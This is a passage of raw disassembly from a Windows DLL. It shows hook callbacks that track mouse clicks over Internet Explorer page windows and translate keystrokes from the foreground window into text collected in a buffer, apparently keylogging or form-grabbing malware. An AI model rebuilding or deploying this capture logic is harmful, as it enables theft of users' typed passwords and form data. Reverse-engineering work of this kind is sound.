		jnz	loc_10003E11
		lea	ecx, [ebp+var_F8]
		push	ecx
		lea	edx, [ebp+var_1A4]
		push	edx
		lea	ecx, [ebp+var_F4]
		call	sub_1000E130
		mov	ecx, eax
		call	sub_1000DF10
		mov	[ebp+var_258], eax
		mov	ecx, [ebp+var_258]
		call	sub_1000D6A0
		mov	byte ptr [ebp+var_1A0],	al
		lea	ecx, [ebp+var_1A4]
		call	sub_1000D620
		mov	eax, [ebp+var_1A0]
		and	eax, 0FFh
		test	eax, eax
		jnz	loc_10003E11
		lea	ecx, [ebp+var_10C]
		push	ecx
		lea	edx, [ebp+var_1AC]
		push	edx
		lea	ecx, [ebp+var_F4]
		call	sub_1000E130
		mov	ecx, eax
		call	sub_1000DF10
		mov	[ebp+var_25C], eax
		mov	ecx, [ebp+var_25C]
		call	sub_1000D6A0
		mov	byte ptr [ebp+var_1A8],	al
		lea	ecx, [ebp+var_1AC]
		call	sub_1000D620
		mov	eax, [ebp+var_1A8]
		and	eax, 0FFh
		test	eax, eax
		jnz	loc_10003E11
		lea	ecx, [ebp+var_F0]
		push	ecx
		lea	edx, [ebp+var_1B4]
		push	edx
		lea	ecx, [ebp+var_F4]
		call	sub_1000E130
		mov	ecx, eax
		call	sub_1000DF10
		mov	[ebp+var_260], eax
		mov	ecx, [ebp+var_260]
		call	sub_1000D6A0
		mov	byte ptr [ebp+var_1B0],	al
		lea	ecx, [ebp+var_1B4]
		call	sub_1000D620
		mov	eax, [ebp+var_1B0]
		and	eax, 0FFh
		test	eax, eax
		jnz	loc_10003E11
		lea	ecx, [ebp+var_108]
		push	ecx
		lea	edx, [ebp+var_1BC]
		push	edx
		lea	ecx, [ebp+var_F4]
		call	sub_1000E130
		mov	ecx, eax
		call	sub_1000DF10
		mov	[ebp+var_264], eax
		mov	ecx, [ebp+var_264]
		call	sub_1000D6A0
		mov	byte ptr [ebp+var_1B8],	al
		lea	ecx, [ebp+var_1BC]
		call	sub_1000D620
		mov	eax, [ebp+var_1B8]
		and	eax, 0FFh
		test	eax, eax
		jnz	short loc_10003E11
		lea	ecx, [ebp+var_FC]
		push	ecx
		lea	edx, [ebp+var_1C4]
		push	edx
		lea	ecx, [ebp+var_F4]
		call	sub_1000E130
		mov	ecx, eax
		call	sub_1000DF10
		mov	[ebp+var_268], eax
		mov	ecx, [ebp+var_268]
		call	sub_1000D6A0
		mov	byte ptr [ebp+var_1C0],	al
		lea	ecx, [ebp+var_1C4]
		call	sub_1000D620
		mov	eax, [ebp+var_1C0]
		and	eax, 0FFh
		test	eax, eax
		jnz	short loc_10003E11
		mov	[ebp+var_26C], 0
		jmp	short loc_10003E1B
; ---------------------------------------------------------------------------


loc_10003E11:				; CODE XREF: sub_10003786+4D8j
					; sub_10003786+52Dj ...
		mov	[ebp+var_26C], 1


loc_10003E1B:				; CODE XREF: sub_10003786+689j
		mov	cl, byte ptr [ebp+var_26C]
		mov	byte ptr [ebp+var_198],	cl
		mov	byte ptr [ebp+var_4], 0Dh
		lea	ecx, [ebp+var_19C]
		call	sub_1000D620
		mov	edx, [ebp+var_198]
		and	edx, 0FFh
		test	edx, edx
		jz	loc_10004879
		lea	ecx, [ebp+var_118]
		call	??0_Container_base@std@@QAE@XZ_1 ; std::_Container_base::_Container_base(void)
		mov	byte ptr [ebp+var_4], 0Fh
		lea	ecx, [ebp+var_118]
		call	sub_1000E1F0
		push	eax
		lea	ecx, [ebp+var_F4]
		call	sub_1000E130
		push	eax
		call	sub_1000E380
		mov	[ebp+var_48], eax
		cmp	[ebp+var_48], 0
		jge	loc_10003F0F
		mov	byte ptr [ebp+var_4], 0Dh
		lea	ecx, [ebp+var_118]
		call	sub_1000E1D0
		mov	byte ptr [ebp+var_4], 0Ch
		lea	ecx, [ebp+var_F8]
		call	sub_1000D620
		mov	byte ptr [ebp+var_4], 0Bh
		lea	ecx, [ebp+var_104]
		call	sub_1000D620
		mov	byte ptr [ebp+var_4], 0Ah
		lea	ecx, [ebp+var_FC]
		call	sub_1000D620
		mov	byte ptr [ebp+var_4], 9
		lea	ecx, [ebp+var_108]
		call	sub_1000D620
		mov	byte ptr [ebp+var_4], 8
		lea	ecx, [ebp+var_F0]
		call	sub_1000D620
		mov	byte ptr [ebp+var_4], 7
		lea	ecx, [ebp+var_10C]
		call	sub_1000D620
		mov	byte ptr [ebp+var_4], 6
		lea	ecx, [ebp+var_F4]
		call	sub_1000E1D0
		mov	byte ptr [ebp+var_4], 1
		lea	ecx, [ebp+var_100]
		call	sub_1000E1D0
		jmp	loc_100039A3
; ---------------------------------------------------------------------------


loc_10003F0F:				; CODE XREF: sub_10003786+6F7j
		lea	ecx, [ebp+var_114]
		call	??0_Container_base@std@@QAE@XZ_1 ; std::_Container_base::_Container_base(void)
		mov	byte ptr [ebp+var_4], 10h
		lea	eax, [ebp+var_11C]
		push	eax
		lea	ecx, [ebp+var_F4]
		call	sub_1000E130
		mov	ecx, eax
		call	sub_1000DF70
		mov	byte ptr [ebp+var_4], 11h
		lea	ecx, [ebp+var_120]
		push	ecx
		lea	ecx, [ebp+var_F4]
		call	sub_1000E130
		mov	ecx, eax
		call	sub_1000DFD0
		mov	byte ptr [ebp+var_4], 12h
		lea	edx, [ebp+var_128]
		push	edx
		lea	ecx, [ebp+var_F4]
		call	sub_1000E130
		mov	ecx, eax
		call	sub_1000E030
		mov	byte ptr [ebp+var_4], 13h
		lea	eax, [ebp+var_124]
		push	eax
		lea	ecx, [ebp+var_F4]
		call	sub_1000E130
		mov	ecx, eax
		call	sub_1000E090
		mov	byte ptr [ebp+var_4], 14h
		lea	ecx, [ebp+var_F8]
		push	ecx
		lea	edx, [ebp+var_1CC]
		push	edx
		lea	ecx, [ebp+var_F4]
		call	sub_1000E130
		mov	ecx, eax
		call	sub_1000DF10
		mov	[ebp+var_270], eax
		mov	eax, [ebp+var_270]
		mov	[ebp+var_274], eax
		mov	byte ptr [ebp+var_4], 15h
		mov	ecx, [ebp+var_274]
		call	sub_1000D6C0
		and	eax, 0FFh
		test	eax, eax
		jz	loc_1000406B
		lea	ecx, [ebp+var_FC]
		push	ecx
		lea	edx, [ebp+var_1D4]
		push	edx
		lea	ecx, [ebp+var_F4]
		call	sub_1000E130
		mov	ecx, eax
		call	sub_1000DF10
		mov	[ebp+var_278], eax
		mov	ecx, [ebp+var_278]
		call	sub_1000D6C0
		mov	byte ptr [ebp+var_1D0],	al
		lea	ecx, [ebp+var_1D4]
		call	sub_1000D620
		mov	eax, [ebp+var_1D0]
		and	eax, 0FFh
		test	eax, eax
		jz	short loc_1000406B
		lea	ecx, [ebp+var_120]
		call	sub_1000D670
		push	eax		; lpString
		call	ds:lstrlenA	; lstrlenA
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	byte ptr [ebp+var_1D8],	al
		mov	ecx, [ebp+var_1D8]
		and	ecx, 0FFh
		test	ecx, ecx
		jz	short loc_1000406B
		mov	[ebp+var_27C], 1
		jmp	short loc_10004075
; ---------------------------------------------------------------------------


loc_1000406B:				; CODE XREF: sub_10003786+854j
					; sub_10003786+8A9j ...
		mov	[ebp+var_27C], 0


loc_10004075:				; CODE XREF: sub_10003786+8E3j
		mov	dl, byte ptr [ebp+var_27C]
		mov	byte ptr [ebp+var_1C8],	dl
		mov	byte ptr [ebp+var_4], 14h
		lea	ecx, [ebp+var_1CC]
		call	sub_1000D620
		mov	eax, [ebp+var_1C8]
		and	eax, 0FFh
		test	eax, eax
		jz	short loc_100040B6
		lea	ecx, [ebp+var_120]
		call	sub_1000D670
		push	eax		; lpString2
		push	offset String1	; lpString1
		call	ds:lstrcatA	; lstrcatA


loc_100040B6:				; CODE XREF: sub_10003786+917j
		lea	ecx, [ebp+var_108]
		push	ecx
		lea	edx, [ebp+var_1E0]
		push	edx
		lea	ecx, [ebp+var_F4]
		call	sub_1000E130
		mov	ecx, eax
		call	sub_1000DF10
		mov	[ebp+var_280], eax
		mov	eax, [ebp+var_280]
		mov	[ebp+var_284], eax
		mov	byte ptr [ebp+var_4], 16h
		mov	ecx, [ebp+var_284]
		call	sub_1000D6A0
		and	eax, 0FFh
		test	eax, eax
		jnz	loc_100041FF
		lea	ecx, [ebp+var_104]
		push	ecx
		lea	edx, [ebp+var_1E8]
		push	edx
		lea	ecx, [ebp+var_F4]
		call	sub_1000E130
		mov	ecx, eax
		call	sub_1000DF10
		mov	[ebp+var_288], eax
		mov	ecx, [ebp+var_288]
		call	sub_1000D6A0
		mov	byte ptr [ebp+var_1E4],	al
		lea	ecx, [ebp+var_1E8]
		call	sub_1000D620
		mov	eax, [ebp+var_1E4]
		and	eax, 0FFh
		test	eax, eax
		jnz	loc_100041FF
		lea	ecx, [ebp+var_F8]
		push	ecx
		lea	edx, [ebp+var_1F0]
		push	edx
		lea	ecx, [ebp+var_F4]
		call	sub_1000E130
		mov	ecx, eax
		call	sub_1000DF10
		mov	[ebp+var_28C], eax
		mov	ecx, [ebp+var_28C]
		call	sub_1000D6A0
		mov	byte ptr [ebp+var_1EC],	al
		lea	ecx, [ebp+var_1F0]
		call	sub_1000D620
		mov	eax, [ebp+var_1EC]
		and	eax, 0FFh
		test	eax, eax
		jnz	short loc_100041FF
		lea	ecx, [ebp+var_FC]
		push	ecx
		lea	edx, [ebp+var_1F8]
		push	edx
		lea	ecx, [ebp+var_F4]
		call	sub_1000E130
		mov	ecx, eax
		call	sub_1000DF10
		mov	[ebp+var_290], eax
		mov	ecx, [ebp+var_290]
		call	sub_1000D6A0
		mov	byte ptr [ebp+var_1F4],	al
		lea	ecx, [ebp+var_1F8]
		call	sub_1000D620
		mov	eax, [ebp+var_1F4]
		and	eax, 0FFh
		test	eax, eax
		jz	loc_1000438F


loc_100041FF:				; CODE XREF: sub_10003786+978j
					; sub_10003786+9CDj ...
		lea	ecx, [ebp+String]
		push	ecx		; lpString
		call	ds:lstrlenA	; lstrlenA
		xor	edx, edx
		test	eax, eax
		setnle	dl
		mov	byte ptr [ebp+var_1FC],	dl
		mov	eax, [ebp+var_1FC]
		and	eax, 0FFh
		test	eax, eax
		jz	loc_1000438F
		lea	ecx, [ebp+String]
		push	ecx		; lpString2
		lea	ecx, [ebp+var_120]
		call	sub_1000D670
		push	eax		; lpString1
		call	ds:lstrcmpA	; lstrcmpA
		test	eax, eax
		jz	loc_1000435D
		lea	edx, [ebp+String]
		push	edx		; lpString2
		lea	ecx, [ebp+var_124]
		call	sub_1000D670
		push	eax		; lpString1
		call	ds:lstrcmpA	; lstrcmpA
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	byte ptr [ebp+var_204],	al
		mov	eax, [ebp+var_204]
		and	eax, 0FFh
		test	eax, eax
		jnz	loc_1000435D
		lea	ecx, [ebp+String]
		push	ecx		; lpString2
		lea	ecx, [ebp+var_128]
		call	sub_1000D670
		push	eax		; lpString1
		call	ds:lstrcmpA	; lstrcmpA
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	byte ptr [ebp+var_208],	al
		mov	edx, [ebp+var_208]
		and	edx, 0FFh
		test	edx, edx
		jnz	loc_1000435D
		lea	eax, [ebp+String]
		push	eax		; lpString2
		lea	ecx, [ebp+var_11C]
		call	sub_1000D670
		push	eax		; lpString1
		call	ds:lstrcmpA	; lstrcmpA
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	byte ptr [ebp+var_20C],	al
		mov	ecx, [ebp+var_20C]
		and	ecx, 0FFh
		test	ecx, ecx
		jnz	short loc_1000435D
		lea	edx, [ebp+String]
		push	edx		; lpString2
		lea	ecx, [ebp+var_18]
		call	sub_1000D670
		push	eax		; lpString1
		call	ds:lstrcmpA	; lstrcmpA
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	byte ptr [ebp+var_210],	al
		mov	eax, [ebp+var_210]
		and	eax, 0FFh
		test	eax, eax
		jnz	short loc_1000435D
		lea	ecx, [ebp+String]
		push	ecx		; lpString2
		lea	ecx, [ebp+var_14]
		call	sub_1000D670
		push	eax		; lpString1
		call	ds:lstrcmpA	; lstrcmpA
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	byte ptr [ebp+var_214],	al
		mov	edx, [ebp+var_214]
		and	edx, 0FFh
		test	edx, edx
		jnz	short loc_1000435D
		mov	[ebp+var_294], 0
		jmp	short loc_10004367
; ---------------------------------------------------------------------------


loc_1000435D:				; CODE XREF: sub_10003786+AC1j
					; sub_10003786+AF8j ...
		mov	[ebp+var_294], 1


loc_10004367:				; CODE XREF: sub_10003786+BD5j
		mov	al, byte ptr [ebp+var_294]
		mov	byte ptr [ebp+var_200],	al
		mov	ecx, [ebp+var_200]
		and	ecx, 0FFh
		test	ecx, ecx
		jz	short loc_1000438F
		mov	[ebp+var_298], 1
		jmp	short loc_10004399
; ---------------------------------------------------------------------------


loc_1000438F:				; CODE XREF: sub_10003786+A73j
					; sub_10003786+AA0j ...
		mov	[ebp+var_298], 0


loc_10004399:				; CODE XREF: sub_10003786+C07j
		mov	dl, byte ptr [ebp+var_298]
		mov	byte ptr [ebp+var_1DC],	dl
		mov	byte ptr [ebp+var_4], 14h
		lea	ecx, [ebp+var_1E0]
		call	sub_1000D620
		mov	eax, [ebp+var_1DC]
		and	eax, 0FFh
		test	eax, eax
		jz	loc_100044C6
		lea	ecx, [ebp+var_218]
		push	ecx
		lea	ecx, [ebp+var_118]
		call	sub_1000E130
		mov	ecx, eax
		call	sub_1000DEB0
		mov	[ebp+var_29C], eax
		mov	edx, [ebp+var_29C]
		push	edx
		lea	ecx, [ebp+var_114]
		call	sub_1000E270
		lea	ecx, [ebp+var_218]
		call	sub_1000E1D0
		lea	ecx, [ebp+var_114]
		call	sub_1000E130
		mov	ecx, eax
		call	sub_1000DCE0
		mov	[ebp+var_138], eax
		lea	ecx, [ebp+var_114]
		call	sub_1000E130
		mov	ecx, eax
		call	sub_1000DD20
		mov	[ebp+var_134], eax
		lea	ecx, [ebp+var_114]
		call	sub_1000E130
		mov	ecx, eax
		call	sub_1000DD60
		mov	[ebp+var_130], eax
		lea	ecx, [ebp+var_114]
		call	sub_1000E130
		mov	ecx, eax
		call	sub_1000DDA0
		mov	[ebp+var_12C], eax
		lea	eax, [ebp+Point]
		push	eax		; lpPoint
		call	ds:GetCursorPos	; GetCursorPos
		lea	ecx, [ebp+Point]
		push	ecx		; lpPoint
		mov	edx, hWnd
		push	edx		; hWnd
		call	ds:ScreenToClient	; ScreenToClient
		mov	eax, [ebp+Point.x]
		cmp	eax, [ebp+var_138]
		jl	short loc_100044C6
		mov	ecx, [ebp+Point.x]
		cmp	ecx, [ebp+var_130]
		jg	short loc_100044C6
		mov	edx, [ebp+Point.y]
		cmp	edx, [ebp+var_134]
		jl	short loc_100044C6
		mov	eax, [ebp+Point.y]
		cmp	eax, [ebp+var_12C]
		jg	short loc_100044C6
		mov	dword_10073978,	1


loc_100044C6:				; CODE XREF: sub_10003786+C3Bj
					; sub_10003786+D0Aj ...
		lea	ecx, [ebp+var_F8]
		push	ecx
		lea	edx, [ebp+var_220]
		push	edx
		lea	ecx, [ebp+var_F4]
		call	sub_1000E130
		mov	ecx, eax
		call	sub_1000DF10
		mov	[ebp+var_2A0], eax
		mov	eax, [ebp+var_2A0]
		mov	[ebp+var_2A4], eax
		mov	byte ptr [ebp+var_4], 17h
		mov	ecx, [ebp+var_2A4]
		call	sub_1000D6C0
		and	eax, 0FFh
		test	eax, eax
		jz	short loc_1000456D
		lea	ecx, [ebp+var_FC]
		push	ecx
		lea	edx, [ebp+var_228]
		push	edx
		lea	ecx, [ebp+var_F4]
		call	sub_1000E130
		mov	ecx, eax
		call	sub_1000DF10
		mov	[ebp+var_2A8], eax
		mov	ecx, [ebp+var_2A8]
		call	sub_1000D6C0
		mov	byte ptr [ebp+var_224],	al
		lea	ecx, [ebp+var_228]
		call	sub_1000D620
		mov	eax, [ebp+var_224]
		and	eax, 0FFh
		test	eax, eax
		jz	short loc_1000456D
		mov	[ebp+var_2AC], 1
		jmp	short loc_10004577
; ---------------------------------------------------------------------------


loc_1000456D:				; CODE XREF: sub_10003786+D88j
					; sub_10003786+DD9j
		mov	[ebp+var_2AC], 0


loc_10004577:				; CODE XREF: sub_10003786+DE5j
		mov	cl, byte ptr [ebp+var_2AC]
		mov	byte ptr [ebp+var_21C],	cl
		mov	byte ptr [ebp+var_4], 14h
		lea	ecx, [ebp+var_220]
		call	sub_1000D620
		mov	edx, [ebp+var_21C]
		and	edx, 0FFh
		test	edx, edx
		jz	loc_100047EF
		push	offset asc_100228EC ; "="
		push	offset String1	; lpString1
		call	ds:lstrcatA	; lstrcatA
		lea	ecx, [ebp+var_11C]
		call	sub_1000D670
		push	eax		; lpString
		call	ds:lstrlenA	; lstrlenA
		test	eax, eax
		jz	short loc_100045FC
		lea	ecx, [ebp+var_11C]
		call	sub_1000D670
		push	eax		; lpString
		call	ds:lstrlenA	; lstrlenA
		cmp	eax, 0FFh
		jge	short loc_100045FC
		lea	ecx, [ebp+var_11C]
		call	sub_1000D670
		push	eax		; lpString2
		push	offset String1	; lpString1
		call	ds:lstrcatA	; lstrcatA


loc_100045FC:				; CODE XREF: sub_10003786+E44j
					; sub_10003786+E5Dj
		mov	[ebp+var_50], 0
		jmp	short loc_1000460E
; ---------------------------------------------------------------------------


loc_10004605:				; CODE XREF: sub_10003786:loc_100047DAj
		mov	eax, [ebp+var_50]
		add	eax, 1
		mov	[ebp+var_50], eax


loc_1000460E:				; CODE XREF: sub_10003786+E7Dj
		mov	ecx, [ebp+var_50]
		cmp	ecx, [ebp+var_84]
		jge	loc_100047DF
		lea	ecx, [ebp+var_120]
		call	sub_1000D670
		push	eax		; lpString2
		mov	edx, [ebp+var_50]
		mov	eax, [ebp+edx*4+lpString1]
		push	eax		; lpString1
		call	ds:lstrcmpA	; lstrcmpA
		test	eax, eax
		jnz	loc_100047DA
		mov	ecx, [ebp+var_50]
		cmp	[ebp+ecx*4+Str], 0
		jz	short loc_10004690
		mov	edx, [ebp+var_50]
		mov	eax, [ebp+edx*4+Str]
		push	eax		; lpString
		call	ds:lstrlenA	; lstrlenA
		test	eax, eax
		jz	short loc_10004690
		lea	ecx, [ebp+var_11C]
		call	sub_1000D670
		push	eax		; lpString
		call	ds:lstrlenA	; lstrlenA
		mov	esi, eax
		mov	ecx, [ebp+var_50]
		mov	edx, [ebp+ecx*4+Str]
		push	edx		; Str
		call	ds:atoi	; atoi
		add	esp, 4
		cmp	esi, eax
		jge	short loc_1000468E
		mov	dword_10073974,	1


loc_1000468E:				; CODE XREF: sub_10003786+EFCj
		jmp	short loc_100046B0
; ---------------------------------------------------------------------------


loc_10004690:				; CODE XREF: sub_10003786+EC1j
					; sub_10003786+ED3j
		lea	ecx, [ebp+var_11C]
		call	sub_1000D670
		push	eax		; lpString
		call	ds:lstrlenA	; lstrlenA
		test	eax, eax
		jg	short loc_100046B0
		mov	dword_10073974,	1


loc_100046B0:				; CODE XREF: sub_10003786:loc_1000468Ej
					; sub_10003786+F1Ej
		mov	eax, [ebp+var_50]
		cmp	[ebp+eax*4+lpString], 0
		jz	loc_100047DA
		mov	ecx, [ebp+var_50]
		mov	edx, [ebp+ecx*4+lpString]
		push	edx		; lpString
		call	ds:lstrlenA	; lstrlenA
		test	eax, eax
		jz	loc_100047DA
		push	offset asc_100228F0 ; "l"
		mov	eax, [ebp+var_50]
		mov	ecx, [ebp+eax*4+lpString]
		push	ecx		; lpString1
		call	ds:lstrcmpA	; lstrcmpA
		test	eax, eax
		jnz	short loc_1000475A
		mov	[ebp+var_144], 0
		jmp	short loc_1000470F
; ---------------------------------------------------------------------------


loc_10004700:				; CODE XREF: sub_10003786:loc_10004758j
		mov	edx, [ebp+var_144]
		add	edx, 1
		mov	[ebp+var_144], edx


loc_1000470F:				; CODE XREF: sub_10003786+F78j
		lea	ecx, [ebp+var_11C]
		call	sub_1000D670
		push	eax		; lpString
		call	ds:lstrlenA	; lstrlenA
		cmp	[ebp+var_144], eax
		jge	short loc_1000475A
		lea	ecx, [ebp+var_11C]
		call	sub_1000D670
		mov	ecx, [ebp+var_144]
		movsx	edx, byte ptr [eax+ecx]
		push	edx		; C
		call	ds:isalpha	; isalpha
		add	esp, 4
		test	eax, eax
		jnz	short loc_10004758
		mov	dword_10073974,	1
		jmp	short loc_1000475A
; ---------------------------------------------------------------------------


loc_10004758:				; CODE XREF: sub_10003786+FC4j
		jmp	short loc_10004700
; ---------------------------------------------------------------------------


loc_1000475A:				; CODE XREF: sub_10003786+F6Cj
					; sub_10003786+FA1j ...
		push	offset aD	; "d"
		mov	eax, [ebp+var_50]
		mov	ecx, [ebp+eax*4+lpString]
		push	ecx		; lpString1
		call	ds:lstrcmpA	; lstrcmpA
		test	eax, eax
		jnz	short loc_100047DA
		mov	[ebp+var_148], 0
		jmp	short loc_1000478F
; ---------------------------------------------------------------------------


loc_10004780:				; CODE XREF: sub_10003786:loc_100047D8j
		mov	edx, [ebp+var_148]
		add	edx, 1
		mov	[ebp+var_148], edx


loc_1000478F:				; CODE XREF: sub_10003786+FF8j
		lea	ecx, [ebp+var_11C]
		call	sub_1000D670
		push	eax		; lpString
		call	ds:lstrlenA	; lstrlenA
		cmp	[ebp+var_148], eax
		jge	short loc_100047DA
		lea	ecx, [ebp+var_11C]
		call	sub_1000D670
		mov	ecx, [ebp+var_148]
		movsx	edx, byte ptr [eax+ecx]
		push	edx		; C
		call	ds:isdigit	; isdigit
		add	esp, 4
		test	eax, eax
		jnz	short loc_100047D8
		mov	dword_10073974,	1
		jmp	short loc_100047DA
; ---------------------------------------------------------------------------


loc_100047D8:				; CODE XREF: sub_10003786+1044j
		jmp	short loc_10004780
; ---------------------------------------------------------------------------


loc_100047DA:				; CODE XREF: sub_10003786+EB3j
					; sub_10003786+F35j ...
		jmp	loc_10004605
; ---------------------------------------------------------------------------


loc_100047DF:				; CODE XREF: sub_10003786+E91j
		push	offset asc_100228F8 ; "\r\n"
		push	offset String1	; lpString1
		call	ds:lstrcatA	; lstrcatA


loc_100047EF:				; CODE XREF: sub_10003786+E1Aj
		lea	ecx, [ebp+var_118]
		call	sub_1000E130
		mov	[ebp+var_2B0], eax
		mov	eax, [ebp+var_2B0]
		mov	ecx, [eax]
		mov	edx, [ebp+var_2B0]
		push	edx
		call	dword ptr [ecx+8]
		push	0
		lea	ecx, [ebp+var_118]
		call	sub_1000E210
		mov	byte ptr [ebp+var_4], 13h
		lea	ecx, [ebp+var_124]
		call	sub_1000D620
		mov	byte ptr [ebp+var_4], 12h
		lea	ecx, [ebp+var_128]
		call	sub_1000D620
		mov	byte ptr [ebp+var_4], 11h
		lea	ecx, [ebp+var_120]
		call	sub_1000D620
		mov	byte ptr [ebp+var_4], 10h
		lea	ecx, [ebp+var_11C]
		call	sub_1000D620
		mov	byte ptr [ebp+var_4], 0Fh
		lea	ecx, [ebp+var_114]
		call	sub_1000E1D0
		mov	byte ptr [ebp+var_4], 0Dh
		lea	ecx, [ebp+var_118]
		call	sub_1000E1D0


loc_10004879:				; CODE XREF: sub_10003786+6BEj
		mov	eax, [ebp+var_110]
		mov	ecx, [eax]
		mov	edx, [ebp+var_110]
		push	edx
		call	dword ptr [ecx+8]
		mov	[ebp+var_110], 0
		mov	byte ptr [ebp+var_4], 0Ch
		lea	ecx, [ebp+var_F8]
		call	sub_1000D620
		mov	byte ptr [ebp+var_4], 0Bh
		lea	ecx, [ebp+var_104]
		call	sub_1000D620
		mov	byte ptr [ebp+var_4], 0Ah
		lea	ecx, [ebp+var_FC]
		call	sub_1000D620
		mov	byte ptr [ebp+var_4], 9
		lea	ecx, [ebp+var_108]
		call	sub_1000D620
		mov	byte ptr [ebp+var_4], 8
		lea	ecx, [ebp+var_F0]
		call	sub_1000D620
		mov	byte ptr [ebp+var_4], 7
		lea	ecx, [ebp+var_10C]
		call	sub_1000D620
		mov	byte ptr [ebp+var_4], 6
		lea	ecx, [ebp+var_F4]
		call	sub_1000E1D0
		mov	byte ptr [ebp+var_4], 1
		lea	ecx, [ebp+var_100]
		call	sub_1000E1D0
		jmp	loc_100039A3
; ---------------------------------------------------------------------------


loc_10004912:				; CODE XREF: sub_10003786+22Cj
		mov	eax, [ebp+var_10]
		mov	ecx, [eax]
		mov	edx, [ebp+var_10]
		push	edx
		call	dword ptr [ecx+8]
		mov	[ebp+var_10], 0
		mov	[ebp+var_22C], 1
		mov	byte ptr [ebp+var_4], 0
		lea	ecx, [ebp+var_14]
		call	sub_1000D620
		mov	[ebp+var_4], 0FFFFFFFFh
		lea	ecx, [ebp+var_18]
		call	sub_1000D620
		mov	eax, [ebp+var_22C]


loc_10004950:				; CODE XREF: sub_10003786+51j
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_10003786	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; LRESULT __stdcall sub_10004960(int, WPARAM, LPARAM)

sub_10004960	proc near		; DATA XREF: sub_1000C9DC+167o

var_110		= dword	ptr -110h
String1		= byte ptr -10Ch
Point		= tagPOINT ptr -0Ch
var_4		= dword	ptr -4
nCode		= dword	ptr  8
wParam		= dword	ptr  0Ch
lParam		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 110h
		mov	eax, [ebp+lParam]
		mov	[ebp+var_4], eax
		cmp	dword_1006A90C,	0
		jz	loc_10004A5C
		cmp	[ebp+nCode], 0
		jl	loc_10004A42
		mov	ecx, [ebp+wParam]
		mov	[ebp+var_110], ecx
		cmp	[ebp+var_110], 202h
		jz	short loc_100049A0
		jmp	loc_10004A42
; ---------------------------------------------------------------------------


loc_100049A0:				; CODE XREF: sub_10004960+39j
		lea	edx, [ebp+Point]
		push	edx		; lpPoint
		call	ds:GetCursorPos	; GetCursorPos
		push	0FFh		; nMaxCount
		lea	eax, [ebp+String1]
		push	eax		; lpClassName
		mov	ecx, [ebp+Point.y]
		push	ecx
		mov	edx, [ebp+Point.x]
		push	edx		; Point
		call	ds:WindowFromPoint	; WindowFromPoint
		push	eax		; hWnd
		call	ds:GetClassNameA	; GetClassNameA
		push	offset aInternetExpl_0 ; "Internet Explorer_Server"
		lea	eax, [ebp+String1]
		push	eax		; lpString1
		call	ds:lstrcmpA	; lstrcmpA
		test	eax, eax
		jnz	short loc_10004A15
		mov	ecx, dword_1002C210
		push	ecx		; int
		mov	edx, [ebp+Point.y]
		push	edx
		mov	eax, [ebp+Point.x]
		push	eax		; Point
		call	ds:WindowFromPoint	; WindowFromPoint
		push	eax		; hWnd
		call	sub_10003460
		call	sub_10003605
		mov	ecx, [ebp+Point.y]
		push	ecx
		mov	edx, [ebp+Point.x]
		push	edx		; Point
		call	ds:WindowFromPoint	; WindowFromPoint
		push	eax
		call	sub_100034DC


loc_10004A15:				; CODE XREF: sub_10004960+7Fj
		cmp	dword_10073978,	0
		jz	short loc_10004A42
		cmp	dword_10073974,	0
		jz	short loc_10004A42
		mov	dword_10073978,	0
		mov	dword_10073974,	0
		mov	eax, 1
		jmp	short loc_10004A5E
; ---------------------------------------------------------------------------


loc_10004A42:				; CODE XREF: sub_10004960+20j
					; sub_10004960+3Bj ...
		mov	eax, [ebp+lParam]
		push	eax		; lParam
		mov	ecx, [ebp+wParam]
		push	ecx		; wParam
		mov	edx, [ebp+nCode]
		push	edx		; nCode
		mov	eax, dword_1006A90C
		push	eax		; hhk
		call	ds:CallNextHookEx	; CallNextHookEx
		jmp	short loc_10004A5E
; ---------------------------------------------------------------------------


loc_10004A5C:				; CODE XREF: sub_10004960+16j
		xor	eax, eax


loc_10004A5E:				; CODE XREF: sub_10004960+E0j
					; sub_10004960+FAj
		mov	esp, ebp
		pop	ebp
		retn	0Ch
sub_10004960	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 22Ch
		mov	eax, [ebp+10h]
		mov	[ebp-114h], eax
		mov	byte ptr [ebp-128h], 0
		xor	ecx, ecx
		mov	[ebp-127h], ecx
		mov	[ebp-123h], ecx
		mov	[ebp-11Fh], cl
		mov	dword ptr [ebp-10Ch], 0
		mov	dword ptr [ebp-11Ch], 0
		cmp	dword_1006A914,	0
		jz	loc_10004D49
		call	ds:GetForegroundWindow	; GetForegroundWindow
		cmp	dword_1006A96C,	eax
		jnz	loc_10004D49
		cmp	dword ptr [ebp+8], 0
		jl	loc_10004D49
		cmp	dword ptr [ebp+0Ch], 100h
		jnz	loc_10004D49
		cmp	dword_1006A96C,	0
		jz	loc_10004D49
		push	1
		push	0
		mov	edx, dword_1006A96C
		push	edx
		call	ds:GetWindowThreadProcessId	; GetWindowThreadProcessId
		push	eax
		call	ds:GetCurrentThreadId	; GetCurrentThreadId
		push	eax
		call	ds:AttachThreadInput	; AttachThreadInput
		lea	eax, [ebp-108h]
		push	eax
		call	ds:GetKeyboardState	; GetKeyboardState
		push	0
		call	ds:GetForegroundWindow	; GetForegroundWindow
		push	eax
		call	ds:GetWindowThreadProcessId	; GetWindowThreadProcessId
		push	eax
		call	ds:GetKeyboardLayout	; GetKeyboardLayout
		push	eax
		mov	ecx, [ebp-114h]
		mov	edx, [ecx+8]
		push	edx
		lea	eax, [ebp-128h]
		push	eax
		lea	ecx, [ebp-108h]
		push	ecx
		mov	edx, [ebp-114h]
		mov	eax, [edx+4]
		push	eax
		mov	ecx, [ebp-114h]
		mov	edx, [ecx]
		push	edx
		call	ds:ToAsciiEx	; ToAsciiEx
		test	eax, eax
		jnz	short loc_10004B7A
		mov	eax, [ebp-114h]
		cmp	dword ptr [eax], 8
		jz	short loc_10004B7A
		mov	ecx, [ebp-114h]
		cmp	dword ptr [ecx], 2Eh
		jnz	loc_10004D18


loc_10004B7A:				; CODE XREF: .text:10004B5Ej
					; .text:10004B69j
		mov	edx, [ebp-114h]
